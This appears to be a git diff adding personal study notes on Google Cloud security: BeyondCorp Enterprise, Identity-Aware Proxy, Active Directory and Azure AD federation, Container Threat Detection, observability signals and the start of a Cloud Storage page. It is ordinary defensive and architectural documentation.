using a trusted corporate device with a secure password and up-to-date patch level, from any network + - Grant administrators access to the Google Cloud Console (via UI or API) only if they are coming from a corporate network + - Grant developers SSH access to virtual machines. + + +--- + + +### The Reference Architecture +- Google's architecture is made up of a number of coordinated components +- can be used as reference for any organization looking to move towards their own like-minded system. + +![Screen Shot 2021-02-15 at 12.55.02](https://i.imgur.com/iB9LnLU.png) + +![Screen Shot 2021-02-15 at 13.30.53](https://i.imgur.com/JSXt1lk.png) + +- Device Inventory Service + - A system that continuously collects, processes, and publishes changes about the state of known devices. + +- Trust Inferer + - A system that continuously analyzes and annotates device state to determine the maximum trust tier for accessing resources. + +- Resources + - The applications, services, and infrastructure that are subject to access control by the system. + +- Access Control Engine + - A centralized policy enforcement service that provides authorization decisions in real time. + +- Access Policy + - A programmatic representation of the resources, trust tiers, and other predicates that must be satisfied for successful auth. + +- Gateways + - SSH servers, web proxies, and 802.1x-enabled wireless networks that perform authorization actions. + +--- + +## How BeyondCorp Enterprise works + +Implementing BeyondCorp Enterprise enacts a zero trust model. +- No one can access your resources unless they meet all the rules and conditions. +- Instead of securing your resources at the network-level, access controls are put on individual devices and users. + +![endpoint-verification-flow](https://i.imgur.com/Q2KarE3.png) + +![high-level_architecture_1.max-2800x2800](https://i.imgur.com/DKHpOMs.jpg) + + +BeyondCorp Enterprise works by leveraging four Google Cloud offerings: +- Endpoint Verification + - A Google Chrome extension + - collects user device details + - including encryption status, OS, and user details. + - gathers and reports device information, constantly syncing with Google Workspace. + - The end result is an inventory of all the corporate and personal devices accessing your corporate resources. + - Once enabled through the Google Workspace Admin Console + - deploy the Endpoint Verification Chrome extension to corporate devices. + - Employees can also install it on their managed, personal devices. + - The attributes collected can be used by Access Context Manager to control access to Google Cloud and Google Workspace resources. + +![Screen Shot 2021-02-15 at 15.18.56](https://i.imgur.com/uJdAtls.png) + +- Access Context Manager + - A rules engine + - enables fine-grained access control. + - Through Access Context Manager, access levels are created + - Access levels applied on your resources with IAM Conditions enforce fine-grained access control + - restrict access based on the following attributes: + - IP subnetworks + - Regions + - Members + - Device policy + - When create a device-based access level + - Access Context Manager references the inventory of devices created by Endpoint Verification. + - Example + - an access level can restrict access to only employees who are using encrypted devices. + - Coupled with IAM conditions, you could make this access level more granular by also restricting access to the time between 9am and 5pm. + - ![Screen Shot 2021-02-15 at 15.14.54](https://i.imgur.com/1YwJlJe.png) + - can also tag individual devices and mark company-owned devices. + - Manual device tagging: enforced by creating a device access level that requires device approval. + - Company-owned devices: enforced by creating a device access level that requires company-owned devices. + +![0_zRpXauT263IHpz3Z](https://i.imgur.com/2kuM5jt.png) + +- Identity-Aware Proxy (IAP) + - A service + - the base of BeyondCorp Enterprise + - IAP ties everything together + - Once you've secured your apps and resources behind IAP, your organization can gradually extend BeyondCorp Enterprise as richer rules are needed. + - establish a central authorization layer + - for your Google Cloud resources accessed by HTTPS and SSH/TCP traffic. + - establish a resource-level access control model + - grant members access to your HTTPS apps and resources. + - instead of relying on network-level firewalls. + - enables employees to access corporate apps and resources from untrusted networks without the use of a VPN. + - Once secured, resources are accessible to any employee, from any device, on any network, that meets the access rules and conditions. + - Extended BeyondCorp Enterprise resources can limit access based on properties + - such as user device attributes, time of day, and request path. + - apply IAM conditions on Google Cloud resources. + + + +- Identity and Access Management (IAM) + - The identity management and authorization service for Google Cloud. + - define and enforce conditional, attribute-based access control for Google Cloud resources. + - With IAM Conditions + - grant permissions to members only if configured conditions are met. + - IAM Conditions can limit access with a variety of attributes, including access levels. + - Conditions are specified in the IAP role bindings of a resource's IAM policy. + - When a condition exists, the role is only granted if the condition expression evaluates to true. + - Each condition expression is defined as a set of logic statements allowing you to specify one or many attributes to check. + + +--- + + +## quickstart + + +1. choose the software + - lumen + - had a specific use for small team and fewoutside dependency +2. got leadership but-in + - introduce the plan to IT, security and marketing team + - why and timeline + - benefit: + - increase access from worker outside of office + - address risk of unauthorized access or application compromise + - multi-region availability + - reduced latency + - +3. get Lumen run on GCP + - run on VMs compute engine instead on on-premise VMs +4. active Identity-Aware Proxy + - as part of the HTTPS load balancer in front of the cluster + - create simple rules in IAP + - to allow the marketing team to view the web app + - IT team to manage access +5. start shifting traffic + - from on-prem instance of Lumen to GCP instance + - watching for errors + +![Screen Shot 2021-02-15 at 15.44.46](https://i.imgur.com/h9TG57D.png) + + + +--- + +## step + +> applying BeyondCorp Enterprise to the Google Cloud and on-premises resources. +> implement enhanced user protections in Chrome +> BeyondCorp Threat and Data Protection features are available only for customers who have purchased BeyondCorp Enterprise. + + +### Configure Chrome, create DLP rules, and set up alerts + +1. Set up Chrome Management + - Setup either Cloud Management for Chrome Browser or Chrome Device Management + +2. Set up Chrome browser policies + - To enable additional protections against data loss and malware in Chrome + - enable Chrome Enterprise connectors + - so content gathered in Chrome is uploaded to Google Cloud for analysis. + - must be enabled for DLP rules to integrate with Chrome. + +3. Set up data protection rules + - create DLP rules. + - These rules are specific to Chrome and warn of or block the sharing of sensitive data. + - The rules trigger alerts and messages in the Chrome Browser, letting users know that file uploads or downloads are blocked, or warning that sensitive data might be shared. + +4. Set up activity alert rules + - Set up alert center rules so analysts are notified of certain security events. + + + + +### View the audit log and security reports, and perform investigations + +- use the Rules audit log and security dashboard security reports to monitor security events. +- use the investigation tool to learn more about alert notifications. + +View the Rules audit log +- Use the Rules audit log to track user attempts to share sensitive data. +- The Rules audit log tracks Device ID and Device Type audit data types for BeyondCorp-related events. + +View security dashboard reports +- View reports in the security dashboard. Security reports related to BeyondCorp are: + - Chrome threat summary + - Chrome data protection summary + - Chrome high risk users + - Chrome high risk domains + +Use the investigation tool to examine security issues +- further investigate the source of the alert in the security investigation tool +- identify, triage, and take action on security and privacy issues in your domain. + + +### BeyondCorp Threat and Data Protection URLs + +- These URLs are used by Chrome to check for updates when running BeyondCorp Threat and Data Protection. +- Chrome must access the following URLs when BeyondCorp Threat and Data Protection is implemented. + + + +### Before you make the apps and resources context-aware, need to: + +1. [create a few Cloud Identity accounts](https://support.google.com/cloudidentity/answer/7332836?hl=en) + +2. Determine a resource you want to protect. + 1. Configure one of the following if you don't have a resource. + - A web app running behind an HTTPS load balancer on Google Cloud. + - This includes web apps like + - App Engine apps, apps running on-premises, and apps running in another cloud. + - A virtual machine on Google Cloud. + +3. Determine members that you want to grant and limit access to. + + +### Secure the apps and resources with IAP + +IAP establishes a central identity awareness layer for apps and resources accessed by HTTPS and TCP. +- can control access on each individual app and resource instead of using network-level firewalls. + +Secure the Google Cloud app and all its resources by selecting one of the following guides: +- App Engine standard and flexible environment +- Compute Engine +- Google Kubernetes Engine +- extend IAP to non-Google Cloud environments like on-premises as well as other clouds. + + +#### Virtual machine resources + +control access to administrative services like SSH and RDP on the backends by +- setting tunnel resource permissions +- and creating tunnels that route TCP traffic through IAP to virtual machine instances. + + +### Creating an access level with Access Context Manager + +after secured the apps and resources with IAP +- set richer access policies with access levels +- Access Context Manager creates access levels. +- Access levels can limit access based on the following attributes: + - IP subnetworks + - Regions + - Access level dependency + - Members + - Device policy (Endpoint Verification must be set up.) + + + +### Applying access levels + +An access level doesn't take effect until you apply it on a IAP-secured resources' IAM policy. +- This step is done by adding an `IAM Condition` on the IAP role used to grant access to the resource. +- Once you've applied the access level, the resources are now secured with BeyondCorp Enterprise. + + + +### Enabling device trust and security with Endpoint Verification + +To further strengthen the security of the BeyondCorp Enterprise secured resources +- apply device-based trust and security access control attributes with access levels. +- Endpoint Verification enables this control. + - Endpoint Verification is a Chrome extension for Windows, Mac, and Chrome OS devices. + - Access Context Manager references the device attributes gathered by Endpoint Verification to enforce fine grained access control with access levels + +Next steps +- Set up Cloud Audit Logs + + +--- + + + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01GCP/identity/IAP.md b/_posts/01Cloud/01GCP/identity/IAP.md new file mode 100644 index 00000000000..3d4e31f8554 --- /dev/null +++ b/_posts/01Cloud/01GCP/identity/IAP.md @@ -0,0 +1,4 @@ + +## IAP + +![Screen Shot 2021-02-15 at 12.18.53](https://i.imgur.com/pgVJwuO.png) diff --git a/_posts/01Cloud/01GCP/identity/NEED.MD b/_posts/01Cloud/01GCP/identity/NEED.MD new file mode 100644 index 00000000000..948cd2bf89c --- /dev/null +++ b/_posts/01Cloud/01GCP/identity/NEED.MD @@ -0,0 +1 @@ +https://cloud.google.com/security/best-practices diff --git a/_posts/01Cloud/01GCP/identity/identity.md b/_posts/01Cloud/01GCP/identity/identity.md new file mode 100644 index 00000000000..5f4f2f63544 --- /dev/null +++ b/_posts/01Cloud/01GCP/identity/identity.md @@ -0,0 +1,264 @@ + + + + +- [Patterns for authenticating corporate users in a hybrid environment](#patterns-for-authenticating-corporate-users-in-a-hybrid-environment) + - [Introduction](#introduction) + - [federating an external IdP with Google Cloud](#federating-an-external-idp-with-google-cloud) + - [Federating `Active Directory` with `Cloud Identity` by using GCDS and AD FS](#federating-active-directory-with-cloud-identity-by-using-gcds-and-ad-fs) + - [User experience](#user-experience) + - [Advantages](#advantages) + - [Best practices](#best-practices) + - [Federating `Azure AD` with `Cloud Identity`](#federating-azure-ad-with-cloud-identity) + - [User experience](#user-experience-1) + - [Advantages](#advantages-1) + - [Best practices](#best-practices-1) + - [Patterns for extending an external IdP to Google Cloud](#patterns-for-extending-an-external-idp-to-google-cloud) + + +# Patterns for authenticating corporate users in a hybrid environment + +- to extend your identity management solution to Google Cloud +- to enable your corporate users to authenticate and consume services in a hybrid computing environment. + +--- + + +## Introduction + +When you extend your IT landscape to Google Cloud as part of a hybrid strategy, we recommend that you take `a consistent approach to managing identities across environments`. + +when design and tailor the architecture to meet these constraints and requirements, rely on some common patterns fall into two categories: +* **Patterns for federating an external identity provider (IdP) with GCP**. 将外部身份提供商 (IdP) 与 GCP 联合 + * enable Google to become an IdP for your corporate users + * so that Google identities are maintained automatically and your IdP remains the source of truth. +* **Patterns for extending an IdP to Google Cloud**. 将 IdP 扩展到 Google Cloud 的模式 + * let applications deployed on Google Cloud reuse your IdP—either + * by `connecting to it directly` + * or by `maintaining a replica of your IdP on Google Cloud`. + + +--- + +## federating an external IdP with Google Cloud + +To enable access to the Cloud Console, the `gcloud` command-line tool, or any other resource that uses Google as IdP, a corporate user must have a Google identity. + +Maintaining Google identities for each employee would be cumbersome when all employees already have an account in an IdP. +- By `federating user identities between your IdP and Google Cloud`, +- you can `automate the maintenance of Google accounts` +- and `tie their lifecycle to accounts that exist`. + + +Federation helps ensure the following: +* Your `IdP remains the single source of truth` for identity management. +* For all user accounts that your IdP manages, or a selected subset of those accounts, a Google Account is created automatically. +* If an account is disabled or deleted in your IdP, the corresponding Google Account is suspended or deleted. +* To `prevent passwords or other credentials from being copied, the act of authenticating a user is delegated to your IdP`. + + +---- + + + +### Federating `Active Directory` with `Cloud Identity` by using GCDS and AD FS + +If you use Active Directory as IdP, you can `federate Active Directory with Cloud Identity` by using `Google Cloud Directory Sync (GCDS)` and `Active Directory Federation Services (AD FS)`: + +* **Cloud Directory Sync** + * a free Google-provided tool + * implements the synchronization process. + * Cloud Directory Sync communicates with `Google Identity Platform` over `Secure Sockets Layer (SSL)` and usually runs in the existing computing environment. +* **AD FS** + * provided by Microsoft as part of Windows Server. + * With AD FS, you can `use Active Directory for federated authentication`. + * AD FS usually runs in the existing computing environment. + + +For a variation of this pattern, you can also use `Active Directory Lightweight Directory Services (AD LDS)` or a different LDAP directory with either AD FS or another SAML-compliant IdP. + +#### User experience + +1. When you request the protected resource, you are redirected to the Google sign-on screen, which prompts you for your email address. +2. If the email address is known to be associated with an account that has been synchronized from Active Directory, you are `redirected to AD FS`. +3. Depending on the configuration of AD FS, + 1. you might see a sign-on screen prompting for `your Active Directory username and password`. + 2. Or AD FS might attempt to sign you in automatically based on your `Windows login (IWA).` +4. When AD FS has authenticated you, you are redirected back to the protected resource. + + +#### Advantages + +* The approach enables a single sign-on experience across on-premises applications and resources on Google Cloud. +* If you configured AD FS to require multi-factor authentication, that configuration automatically applies to Google Cloud. +* `do not need to synchronize passwords or other credentials` to Google. +* Because the Cloud Identity API is publicly accessible, there's no need to set up `hybrid connectivity` between your on-premises network and Google Cloud. + + +#### Best practices + +* `Active Directory` and `Cloud Identity` use a different logical structure. + * understand the way of mapping domains, identities, and groups suits your situation best. +* `Synchronize groups in addition to users`. + * With this approach, you can set up IAM so that you can `use group memberships` in Active Directory to control who has access to resources in Google Cloud. +* Deploy and expose AD FS so that corporate users can access it, but don't expose it more than necessary. + * Although corporate users must be able to access AD FS, there's no requirement for AD FS to be reachable from Google or from any application deployed on Google Cloud. +* Consider enabling Integrated Windows Authentication (IWA) in AD FS + * to allow users to sign in automatically based on their Windows login. +* If AD FS becomes unavailable, + * users might not be able to use the Cloud Console or any other resource that uses Google as IdP. + * So ensure that AD FS and the domain controllers AD FS relies on are deployed and sized to meet your availability objectives. +* If you use Google Cloud to help ensure business continuity, + * relying on an on-premises AD FS might undermine the intent of using Google Cloud as an independent copy of your deployment. + * In this case, consider deploying replicas of all relevant systems on Google Cloud: + * Replicate your Active Directory to Google Cloud and deploy GCDS to run on Google Cloud. + * Run dedicated AD FS servers on Google Cloud. These servers use the Active Directory domain controllers running on Google Cloud. + * Configure Cloud Identity to use the AD FS servers deployed on Google Cloud for single sign-on. + + + +--- + +### Federating `Azure AD` with `Cloud Identity` + +If you are a Microsoft Office 365 or Azure customer, you might have connected your on-premises Active Directory to Azure AD. +- If all user accounts that potentially need access to Google Cloud are already being synchronized to Azure AD, you can reuse this integration by federating Cloud Identity with Azure AD, as the following diagram shows. + + +![AD](https://i.imgur.com/kvMwISp.png) + +#### User experience + +1. When you request the protected resource, you are redirected to the Google sign-on screen, which prompts you for your email address. +2. If the email address is associated with an account that has been synchronized from Azure AD, you are redirected to Azure AD. +3. Depending on how your on-premises Active Directory is connected to Azure AD, Azure AD might prompt you for a username and password. Or it might redirect you to an on-premises AD FS. +4. After successfully authenticating with Azure AD, you are redirected back to the protected resource. + + + +#### Advantages + +* You don't need to install any additional software on-premises. +* The approach enables a single sign-on experience across Office 365, Azure, and resources on Google Cloud. +* If you configured Azure AD to require multi-factor (MFA) authentication, MFA automatically applies to Google Cloud. +* If your on-premises Active Directory uses multiple domains or forests and you have set up a custom Azure AD Connect configuration to map this structure to an Azure AD tenant, you can take advantage of this integration work. +* You don't need to synchronize passwords or other credentials to Google. +* Because the Cloud Identity API is publicly accessible, there's no need to set up hybrid connectivity between your on-premises network and Google Cloud or between Azure and Google Cloud. +* You can surface the Cloud Console as a tile in the Office 365 portal. + + + +#### Best practices + +* Because Azure AD and Cloud Identity use a different logical structure, make sure you understand the differences. Assess which way of mapping domains, identities, and groups suits your situation best. For more detailed information, see federating Google Cloud with Azure AD. +* Synchronize groups in addition to users. With this approach, you can set up IAM so that you can use group memberships in Azure AD to control who has access to resources in Google Cloud. +* If you use Google Cloud to help ensure business continuity, relying on Azure AD for authentication might undermine the intent of using Google Cloud as an independent copy of your deployment. + + + +--- + + +## Patterns for extending an external IdP to Google Cloud + +Some of the applications you plan to deploy on Google Cloud might require the use of authentication protocols not offered by Cloud Identity. To support these workloads, you must allow these applications to use your IdP from within Google Cloud. + +The following sections describe common patterns for allowing your IdP to be used by workloads deployed on Google Cloud. + + +``` +### Exposing an on-premises AD FS to Google Cloud + +If an application requires the use of WS-Trust or WS-Federation, or relies on AD FS-specific features or claims when using OpenID Connect, you can allow the application to directly use AD FS for authentication. + +![Application directly using AD FS for authentication](/solutions/images/authenticating-corporate-users-auth-using-ad-fs.svg) + +By using AD FS, an application can authenticate a user. However, because authentication is not based on a Google identity, the application won't be able to perform any API calls [on the user's behalf](/docs/authentication/end-user). Instead, any calls to the Google Cloud API must be authenticated [using a service account](/docs/authentication/production). + +#### User experience + +1. When you request the protected resource, you are redirected to the ADFS sign-on screen, which prompts you for your email address. If AD FS isn't publicly exposed over the internet, accessing AD FS might require you to be connected to your company network or corporate VPN. +2. Depending on the configuration of AD FS, you might see a sign-on screen prompting for your Active Directory username and password. Or AD FS might attempt to sign you in automatically based on your Windows login. +3. When AD FS has authenticated you, you are redirected back to the protected resource. + +#### Advantages + +* You can use authentication protocols that aren't supported by Cloud Identity, including WS-Trust and WS-Federation. +* If the application has been developed and tested against AD FS, you can avoid risks that might arise from switching the application to use Cloud Identity. +* There's no need to set up [hybrid connectivity](/hybrid-connectivity) between your on-premises network and Google Cloud. + +#### Best practices + +* Deploy and expose AD FS so that corporate users can access it, but don't expose it more than necessary. Although corporate users must be able to access AD FS, there's no requirement for AD FS to be reachable from Google or from any application deployed on Google Cloud. +* If AD FS becomes unavailable, users might not be able to use the application anymore. Ensure that AD FS and the domain controllers it relies on are deployed and sized to meet your availability objectives. +* Consider refactoring applications that rely on WS-Trust and WS-Federation to use SAML or OpenID Connect instead. +* If the application relies on group information being exposed as claims in `IdTokens` issued by AD FS, consider retrieving group information from a different source such as the [Directory API](https://developers.google.com/admin-sdk/directory/v1/reference/members/get). Querying the Directory API is a privileged operation that requires using a [service account](/compute/docs/access/service-accounts) that is enabled for [Google Workspace domain-wide delegation](https://developers.google.com/admin-sdk/reports/v1/guides/delegation). + +### Exposing an on-premises LDAP directory to Google Cloud + +Some of your applications might require users to provide their username and password and use these credentials to attempt an LDAP bind operation. If you cannot [modify these applications](/solutions/authenticating-corporate-users-in-a-hybrid-environment#ldap) to use other means such as SAML to perform authentication, you can grant them access to an on-premises LDAP directory. + +![Granting users access to an on-premises LDAP directory](/solutions/images/authenticating-corporate-users-on-prem-ldap.svg) + +#### Advantages + +* You don't need to change your application. + +#### Best practices + +* Use [Cloud VPN] or [Cloud Interconnect] to establish hybrid connectivity between Google Cloud and your on-premises network so that you don't need to expose the LDAP directory over the internet. +* Verify that the latency introduced by querying an on-premises LDAP directory doesn't negatively impact user experience. +* Ensure that the communication between the application and the LDAP directory is encrypted. You can achieve this encryption by using [Cloud VPN] or by using [Cloud Interconnect] with LDAP/S. +* If the LDAP directory or the private connectivity between Google Cloud and your on-premises network becomes unavailable, users might not be able to use an LDAP-based application anymore. Therefore, ensure that the respective servers are deployed and sized to meet your availability objectives, and consider using [redundant VPN tunnels](/network-connectivity/docs/vpn/concepts/redundant-vpns) or [interconnects](/network-connectivity/docs/interconnect/tutorials/production-level-overview). +* If you use Google Cloud to ensure business continuity, relying on an on-premises LDAP directory might undermine the intent of using Google Cloud as an independent copy of your existing deployment. In this case, consider [replicating the LDAP directory](#replicate_an_on-premises_ldap_directory_to_gcp) to Google Cloud instead. +* If you use Active Directory, consider [running a replica on Google Cloud instead](/solutions/authenticating-corporate-users-in-a-hybrid-environment#heading=h.ps5qjiahyxoj), particularly if you plan to domain-join Windows machines running on Google Cloud to Active Directory. + +### Replicating an on-premises LDAP directory to Google Cloud + +Replicating an on-premises LDAP directory to Google Cloud is similar to the pattern of [Exposing an on-premises LDAP directory to Google Cloud]. For applications that use LDAP to verify usernames and passwords, the intent of this approach is to be able to run those applications on Google Cloud. Instead of allowing such applications to query your on-premises LDAP directory, you can maintain a replica of the on-premises directory on Google Cloud. + +![Maintaining a replica of the on-premises directory on Google Cloud] + +#### Advantages + +* You don't need to change your application. +* The availability of LDAP-based applications running on Google Cloud doesn't depend on the availability of the on-premises directory or connectivity to the on-premises network. This pattern is well-suited for [business continuity hybrid scenarios]. + +#### Best practices + +* Use [Cloud VPN] or [Cloud Interconnect] to establish hybrid connectivity between Google Cloud and your on-premises network so that you don't need to expose the LDAP directory over the internet. +* Ensure that the replication between the on-premises LDAP directory is conducted over a secure channel. +* Deploy multiple LDAP directory replicas across multiple [zones or regions] to meet your availability objectives. You can use an [internal load balancer] to distribute LDAP connections among multiple replicas deployed in the same region. +* Use a separate Google Cloud project with a [Shared VPC] to deploy LDAP replicas and grant access to this project on a least-privilege basis. + +### Extending an on-premises Active Directory to Google Cloud + +Some of the workloads that you plan to deploy on Google Cloud might depend on Active Directory Domain Services, for example: + +* Windows machines that need to be domain-joined +* Applications that use Kerberos or NTLM for authentication +* Applications that use Active Directory as an LDAP directory to verify usernames and passwords + +To support such workloads, you can extend your on-premises Active Directory forest to Google Cloud—for example, by deploying a resource forest to Google Cloud and connecting it to your on-premises Active Directory forest, as in the following diagram. + +![connecting a resource forest to your on-premises Active Directory forest](/solutions/images/patterns-for-using-active-directory-in-hybrid-4-synchronized-forests.svg) + +For more detail about this approach and other ways to deploy Active Directory in a hybrid environment, see [Patterns for using Active Directory in a hybrid environment](/solutions/patterns-for-using-active-directory-in-a-hybrid-environment). + +![Extending your on-premises Active Directory forest to Google Cloud by deploying additional domain controllers on Google Cloud](/solutions/images/authenticating-corporate-users-deploy-additional-controllers.svg) + +#### Advantages + +* Your workloads can take full advantage of Active Directory, including the ability to join Windows machines to the Active Directory domain. +* The availability of Active Directory-based applications running on Google Cloud doesn't depend on the availability of on-premises resources or connectivity to the on-premises network. The pattern is well-suited for [business continuity hybrid scenarios](/solutions/hybrid-and-multi-cloud-architecture-patterns#business_continuity_hybridmulti-cloud). + +#### Best practices + +* Use [Cloud VPN] or [Cloud Interconnect] to establish hybrid connectivity between Google Cloud and your on-premises network. +* To minimize communication between Google Cloud and your on-premises network, create a separate Active Directory site for Google Cloud deployments. You can use either a single site per Shared VPC or, to minimize inter-region communication, one site per Shared VPC and region. +* Create a separate Active Directory domain dedicated to resources deployed on Google Cloud and add the domain to the existing forest. Using a separate domain helps reduce replication overhead and partition sizes. +* To increase availability, [deploy at least two domain controllers](/solutions/deploy-fault-tolerant-active-directory-environment), spread over multiple zones. If you use multiple regions, consider deploying domain controllers in each region. +* Use a separate Google Cloud project with a [Shared VPC] to deploy domain controllers and grant access to this project on a least-privilege basis. By [generating a password](/compute/docs/instances/windows/creating-passwords-for-windows-instances) or accessing the [serial console](/compute/docs/instances/interacting-with-serial-console) of domain controller instances, rogue project members might otherwise be able to compromise the domain. +* Consider deploying an AD FS server farm and GCDS on Google Cloud. This approach lets you [federate Active Directory with Cloud Identity](/solutions/federating-gcp-with-azure-active-directory) without depending on the availability of resources or connectivity to the on-premises network. + +``` diff --git a/_posts/01Cloud/01GCP/security/Container-Threat-Detection.md b/_posts/01Cloud/01GCP/security/Container-Threat-Detection.md new file mode 100644 index 00000000000..cb11d100413 --- /dev/null +++ b/_posts/01Cloud/01GCP/security/Container-Threat-Detection.md @@ -0,0 +1,63 @@ + + + + + +- [Monitor and secure containers](#monitor-and-secure-containers) + - [Security Command Center](#security-command-center) + +--- + +# Monitor and secure containers + +Container Threat Detection +- monitor and secure the container deployments in Google Cloud. +- a built-in service in [Security Command Center](https://cloud.google.com/security-command-center) Premium tier. +- detects the most common container runtime attacks +- and alerts to any suspicious activity. +- includes multiple new detection capabilities and provides an API. + + +key findings identified by Container Threat Detection: +- **Suspicious Binary Executions** + - can see when a binary that was not part of the original container image is executed, and triggers a finding + - indicating that an attacker may have control of the workload and executing suspicious software + - such as malware or cryptoccurency mining software +- **Suspicious Library Loaded** + - can detect when a library that was not part of the original container image is loaded + - the attacker may has control of the workload and that they are executing arbitrary code. +- **Reverse Shell** + - monitors for processes that get started with stream redirection to a remote connected socket. + - An attacker can use a reverse shell to communicate from a compromised workload to an attacker controlled machine and perform malicious activities + - for example as part of a botnet. + + +--- + +## Security Command Center + +Security Command Center +- a native security and risk management platform for Google Cloud. +- it provides built-in services + - Container Threat Detection, + - gain visibility into the cloud assets, + - discover misconfigurations and vulnerabilities in the resources, + - help maintain compliance based on industry standards and benchmarks. + +![Container_Threat_Detectio.1018027618020533.max-2800x2800](https://i.imgur.com/T8KiDWE.png) + + +**Start Container Threat Detection** +- enable the built-in service in the Security Command Center with a Premium subscription. + - ![container threat detection (1).jpg](https://storage.googleapis.com/gweb-cloudblog-publish/images/container_threat_detection_.0394005507850100.max-900x900.jpg) +- To enable a Premium subscription, contact the Google Cloud Platform sales team. +- To trigger Container Threat Detection findings in a test environment, follow the steps outlined in this [Testing Container Threat Detection guide](https://cloud.google.com/security-command-center/docs/how-to-test-container-threat-detection). + + + + + + + + +. diff --git a/_posts/01Cloud/01GCP/security/GCP-KMS.md b/_posts/01Cloud/01GCP/security/GCP-KMS.md new file mode 100644 index 00000000000..cee892db2b1 --- /dev/null +++ b/_posts/01Cloud/01GCP/security/GCP-KMS.md @@ -0,0 +1,2 @@ + +![Screen Shot 2022-08-16 at 23.35.12](https://i.imgur.com/M0toMig.jpg) diff --git a/_posts/01Cloud/01GCP/security/Observability.md b/_posts/01Cloud/01GCP/security/Observability.md new file mode 100644 index 00000000000..597641a51f8 --- /dev/null +++ b/_posts/01Cloud/01GCP/security/Observability.md @@ -0,0 +1,150 @@ +--- +title: GCP - Gcloud +date: 2021-01-01 11:11:11 -0400 +categories: [01GCP, Security] +tags: [GCP] +toc: true +image: +--- + +# Google Cloud Observability + +ref: +- [Logging and Monitoring in Google Cloud]() + +--- + +## Overview + +Application Performance Management + +![alt text](./assets/img/post/mcl6grha83.png) + +Visibility into system health: Users want to understand what is happening with their application and system. They rely on a service that provides a clear mental model for how their application is working on Google Cloud. They need a report on the overall health of systems. The services should help answer questions such as “are my systems functioning?” or “”do my systems have sufficient resources available?” + +Error reporting and alerting: Users want to monitor their service at a glance through healthy/unhealthy status icons or red/green indicators. Customers appreciate any proactive alerting, anomaly detection, or guidance on issues. Ideally, they want to avoid connecting the dots themselves. + +Efficient troubleshooting: Users don’t want multiple tabs open. They need a system that can proactively correlate relevant signals and make it easy to search across different data sources, like logs and metrics. If possible, the service needs to be opinionated about the potential cause of the issue and recommend a meaningful direction for the customer to start their investigation. It should allow users to immediately act on what they discover. + +Performance improvement: Users need a service that can perform retrospective analysis. Generally, help them plan intelligently by analyzing trends and understand how changes in the system affect its performance + +![alt text](./assets/img/post/mcl6grhb23.png) + + +--- + +## Logging + +![alt text](./assets/img/post/mcl6grhc72.png) + +![alt text](./assets/img/post/mcl6grhc09.png) + +![alt text](./assets/img/post/mcl6grhc22.png) + +![alt text](./assets/img/post/mcl6grhc11.png) + +![alt text](./assets/img/post/mcl6grhd54.png) + +--- + +## Monitoring + +![alt text](./assets/img/post/mcl6grhd68.png) + + +![alt text](./assets/img/post/mcl6grhd26.png) + +- Great products also need thorough testing, preferably automated testing, and a refined continuous integration/continuous development (CI/CD) release pipeline. + +![alt text](./assets/img/post/mcl6grhd87.png) + +![alt text](./assets/img/post/mcl6grhd69.png) + + +![alt text](./assets/img/post/mcl6grhe88.png) + +![alt text](./assets/img/post/mcl6grhe68.png) + + +![alt text](./assets/img/post/mcl6grhf84.png) + +- measure a system’s performance and reliability +- latency, traffic, saturation, and errors. + +![alt text](./assets/img/post/mcl6grhf61.png) + +- Changes in latency could indicate emerging issues. Its values may be tied to capacity demands. +- `measure system improvements`. +- Sample latency metrics include: + - page load latency, + - number of requests waiting for a thread, + - query duration, + - service response time, + - transaction duration, + - time to first response and time to complete data return. + +![alt text](./assets/img/post/mcl6grhf21.png) + +- The next signal is traffic, which measures how many requests are reaching your system. +- it’s an indicator of current system demand. Its historical trends are used for capacity planning. - It’s a core measure when `calculating infrastructure spend`. +- Sample traffic metrics include: + - number of HTTP requests per second, + - number of requests for static vs. dynamic content, + - number of concurrent sessions, and many more. + +### error + +![alt text](./assets/img/post/mcl6grhf21.png) + +- measures how close to capacity a service is. It’s important to note, though, that capacity is often a subjective measure, that depends on the underlying service or application. +- Saturation is important because it's an indicator of how full the service is. It focuses on the most constrained resources. It’s frequently tied to degrading performance as capacity is reached. +- Sample capacity metrics include + - percentage memory utilization, + - percentage of thread pool utilization, + - percentage of cache utilization and many more. + +![alt text](./assets/img/post/mcl6grhg97.png) + +- measure system failures or other issues. +- Errors are often raised when a flaw, failure, or fault in a computer program or system causes it to produce incorrect or unexpected results, or behave in unintended ways. +- Errors might indicate configuration or capacity issues or service level objective violations. +- Sample error metrics include + - wrong answers or incorrect content, + - number of 400/500 HTTP codes, + - number of failed requests, + - number of exceptions and many more. + +--- + +## GCP service + +### Logs Explorer + +- examine messages generated by running code + +### Error reporting + +![alt text](./assets/img/post/mcl6grhg15.png) + +![alt text](./assets/img/post/mcl6grhg91.png) + +## Cloud profiler + +![alt text](./assets/img/post/mcl6grhg92.png) + +![alt text](./assets/img/post/mcl6grhg04.png) + +## Cloud trace + +![alt text](./assets/img/post/mcl6grhh63.png) + +- see the latency of requests for a web application deployed to Cloud Run + +--- + +## Application Performance Management + + + + +--- diff --git a/_posts/01Cloud/01GCP/storage/2021-01-01-CloudStorage.md b/_posts/01Cloud/01GCP/storage/2021-01-01-CloudStorage.md new file mode 100644 index 00000000000..f80d176ddfc --- /dev/null +++ b/_posts/01Cloud/01GCP/storage/2021-01-01-CloudStorage.md @@ -0,0 +1,562 @@ +--- +title: GCP - Cloud Storage +date: 2021-01-01 11:11:11 -0400 +categories: [01GCP, Storage] +tags: [GCP] +toc: true +image: +--- + +- [Cloud Storage](#cloud-storage) + - [basic](#basic) + - [Google Cloud Storage](#google-cloud-storage) + - [cloud storage level](#cloud-storage-level) + - [buckets](#buckets) + - [object](#object) + - [Access](#access) + - [access control lists - ACLs](#access-control-lists---acls) + - [Object Versioning](#object-versioning) + - [lifecycle policy](#lifecycle-policy) + - [signed URLs](#signed-urls) + - [storage class](#storage-class) + - [Autoclass](#autoclass) + - [Standard](#standard) + - [Multi-regional storage `99.95 percent`](#multi-regional-storage-9995-percent) + - [Regional storage `99.9 percent Availability`](#regional-storage-999-percent-availability) + - [Nearline storage `99 percent Availability`](#nearline-storage-99-percent-availability) + - [Coldline storage `99 percent Availability`](#coldline-storage-99-percent-availability) + - [Archive storage](#archive-storage) + - [bring data into cloud storage.](#bring-data-into-cloud-storage) + - [Deployment](#deployment) + +--- + +# Cloud Storage + +--- + +## basic + +![Screen Shot 2022-08-15 at 00.15.39](https://i.imgur.com/hYLjiss.jpg) + +![Screen Shot 2022-08-15 at 